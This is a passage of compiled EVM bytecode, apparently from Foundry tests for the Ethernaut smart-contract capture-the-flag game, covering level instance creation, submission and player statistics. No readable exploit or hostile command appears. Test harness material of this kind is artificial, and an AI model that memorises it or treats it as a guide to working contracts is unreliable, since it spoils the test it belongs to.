b158015610da1575f80fd5b505af1158015610db3573d5f803e3d5ffd5b5050601e54602654602354602154604051631601c61960e11b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015610e17575f80fd5b505af1158015610e29573d5f803e3d5ffd5b5050601e5460275460248054602154604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015610e91575f80fd5b505af1158015610ea3573d5f803e3d5ffd5b50737109709ecfa91a80626ff3989d68f67f5b1dd12d925063e5d6bf029150610ecf905042600e611ec2565b6040518263ffffffff1660e01b8152600401610eed91815260200190565b5f604051808303815f87803b158015610f04575f80fd5b505af1158015610f16573d5f803e3d5ffd5b5050601e5460275460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015610f7e575f80fd5b505af1158015610f90573d5f803e3d5ffd5b5050505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610fcf575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101561112a575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015611113578382905f5260205f2001805461108890611ee7565b80601f01602080910402602001604051908101604052809291908181526020018280546110b490611ee7565b80156110ff5780601f106110d6576101008083540402835291602001916110ff565b820191905f5260205f20905b8154815290600101906020018083116110e257829003601f168201915b50505050508152602001906001019061106b565b50505050815250508152602001906001019061101a565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610fcf575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610fcf575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101561112a575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156112cd57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841161127a5790505b50505050508152505081526020019060010190611212565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101561112a578382905f5260205f2001805461132590611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461135190611ee7565b801561139c5780601f106113735761010080835404028352916020019161139c565b820191905f5260205f20905b81548152906001019060200180831161137f57829003601f168201915b505050505081526020019060010190611308565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101561112a575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801561148e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841161143b5790505b505050505081525050815260200190600101906113d3565b601e54602154602254604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201525f92610100900490911690638dc0353590604401602060405180830381865afa158015611503573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115279190611f1f565b601e54602154602354604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201529293505f926101009092041690638dc0353590604401602060405180830381865afa158015611586573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115aa9190611f1f565b601e5460215460248054604051638dc0353560e01b81526001600160a01b039384166004820152908316918101919091529293505f926101009092041690638dc0353590604401602060405180830381865afa15801561160c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116309190611f1f565b601e546021546040517f3aa466850000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201529293505f926101009092041690633aa4668590602401602060405180830381865afa15801561169d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c19190611f1f565b90506116ed816003846116d48789611ec2565b6116de9190611ec2565b6116e89190611f36565b611a9e565b50505050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101561112a578382905f5260205f2001805461173390611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461175f90611ee7565b80156117aa5780601f10611781576101008083540402835291602001916117aa565b820191905f5260205f20905b81548152906001019060200180831161178d57829003601f168201915b505050505081526020019060010190611716565b6008545f9060ff16156117d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015611863573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118879190611f1f565b1415905090565b60606015805480602002602001604051908101604052809291908181526020018280548015610fed57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610fcf575050505050905090565b601e54602154602254604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201525f92610100900490911690638dc0353590604401602060405180830381865afa158015611949573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196d9190611f1f565b601e54602154602354604051638dc0353560e01b81526001600160a01b03928316600482015290821660248201529293505f926101009092041690638dc0353590604401602060405180830381865afa1580156119cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119f09190611f1f565b601e5460215460248054604051638dc0353560e01b81526001600160a01b039384166004820152908316918101919091529293505f926101009092041690638dc0353590604401602060405180830381865afa158015611a52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a769190611f1f565b9050611a83836009611a9e565b611a8e826013611a9e565b611a9981600e611a9e565b505050565b6040517f98296c540000000000000000000000000000000000000000000000000000000081526004810183905260248101829052737109709ecfa91a80626ff3989d68f67f5b1dd12d906398296c54906044015f6040518083038186803b158015611b07575f80fd5b505afa158015611b19573d5f803e3d5ffd5b505050505050565b6153f880611f5683390190565b611e7a8061734e83390190565b602080825282518282018190525f9190848201906040850190845b81811015611b7b5783516001600160a01b031683529284019291840191600101611b56565b50909695505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015611c6957603f19898403018552815180516001600160a01b031684528701518784018790528051878501819052908801906060600582901b8601810191908601905f5b81811015611c5357878403605f19018352845180518086525f5b81811015611c2d578e81840101518f82890101528e81019050611c0f565b505f8682018f0152958d0195601f01601f19169094018c019350918b0191600101611bf5565b5050509588019593505090860190600101611bae565b509098975050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015611c6957888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015611d1d5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a0190611cdb565b50968901969450505090860190600101611c9e565b5f602080830181845280855180835260408601915060408160051b87010192508387015f5b82811015611db257878503603f19018452815180518087525f5b81811015611d8c578281018901518882018a01528801611d71565b505f878201890152601f01601f1916909501860194509285019290850190600101611d57565b5092979650505050505050565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114611de9575f80fd5b919050565b5f6020808385031215611dff575f80fd5b825167ffffffffffffffff80821115611e16575f80fd5b818501915085601f830112611e29575f80fd5b815181811115611e3b57611e3b611dbf565b8060051b604051601f19603f83011681018181108582111715611e6057611e60611dbf565b604052918252848201925083810185019188831115611e7d575f80fd5b938501935b82851015611ea257611e9385611dd3565b84529385019392850192611e82565b98975050505050505050565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611ee157634e487b7160e01b5f52601160045260245ffd5b92915050565b600181811c90821680611efb57607f821691505b602082108103611f1957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611f2f575f80fd5b5051919050565b5f82611f5057634e487b7160e01b5f52601260045260245ffd5b50049056fe600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615387806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000148575f3560e01c806385db81cc11620000bb578063b90a68fa1162000087578063e20c9f71116200006b578063e20c9f7114620002b0578063f82de7b014620002ba578063fa7626d414620002d3575f80fd5b8063b90a68fa1462000279578063ba414fa614620002a6575f80fd5b806385db81cc1462000226578063916a17c6146200023d5780639b59adbc1462000247578063b5508aa9146200026f575f80fd5b80633e5e3c23116200011757806366d9a9a011620000fb57806366d9a9a014620001dd578063792e11f514620001f657806385226c81146200020d575f80fd5b80633e5e3c2314620001c95780633f7286f414620001d3575f80fd5b80631c7db669146200014c5780631ed7831c14620001805780632356661a14620001995780632ade388014620001b0575b5f80fd5b620001636200015d36600462001364565b620002e1565b6040516001600160a01b0390911681526020015b60405180910390f35b6200018a620004ab565b604051620001779190620013a7565b62000163620001aa36600462001493565b6200050d565b620001ba620006d8565b60405162000177919062001566565b6200018a62000820565b6200018a62000880565b620001e7620008e0565b60405162000177919062001629565b6200018a62000207366004620016f6565b620009da565b6200021762000b6a565b6040516200017791906200170e565b620001636200023736600462001774565b62000c3f565b620001e762000d5e565b6200025e6200025836600462001792565b62000e58565b604051901515815260200162000177565b6200021762000fe8565b601f8054604080516020808201849052825180830382018152918301909252805191012090915562000163565b6200025e620010bd565b6200018a62001191565b620002d1620002cb366004620016f6565b620011f1565b005b601e546200025e9060ff1681565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200033d575f80fd5b505af115801562000350573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620003b0575f80fd5b505af1158015620003c3573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565b5f62001804620014dd8462001469565b905082815283838301111562001818575f80fd5b6200131b83602083018462001515565b5f82601f83011262001838575f80fd5b6200131b83835160208501620017f4565b805162001856816200134c565b919050565b5f60208083850312156200186d575f80fd5b825167ffffffffffffffff8082111562001885575f80fd5b818501915085601f83011262001899575f80fd5b8151620018aa620014dd82620017ce565b81815260059190911b83018401908481019088831115620018c9575f80fd5b8585015b83811015620019ca57805185811115620018e5575f80fd5b86016060818c03601f19011215620018fb575f80fd5b6200190562001409565b888201518781111562001916575f80fd5b8201603f81018d1362001927575f80fd5b898101516200193a620014dd82620017ce565b81815260059190911b8201604001908b8101908f8311156200195a575f80fd5b6040840193505b828410156200197c5783518252928c0192908c019062001961565b845250505060408201518781111562001993575f80fd5b620019a38d8b8386010162001828565b8a83015250620019b66060830162001849565b6040820152845250918601918601620018cd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562000fe25762000fe2620019d7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121562001a26575f80fd5b815167ffffffffffffffff81111562001a3d575f80fd5b8201601f8101841362001a4e575f80fd5b62001a5f84825160208401620017f4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835162001aa081600585016020880162001515565b7f2e736f6c2f000000000000000000000000000000000000000000000000000000600591840191820152835162001adf81600a84016020880162001515565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835162001b2881846020880162001515565b83519083019062001b3e81836020880162001515565b01949350505050565b602081525f6200131b602083018462001539565b600181811c9082168062001b7057607f821691505b60208210810362001b8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562001ba6575f80fd5b81516200131b816200134c565b5f6020828403121562001bc4575f80fd5b5051919050565b8082018082111562000fe25762000fe2620019d7565b604081525f62001bf5604083018562001539565b828103602084015262001c09818562001539565b95945050505050565b5f6020828403121562001c23575f80fd5b815167ffffffffffffffff81111562001c3a575f80fd5b62001a5f848285016200182856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb5820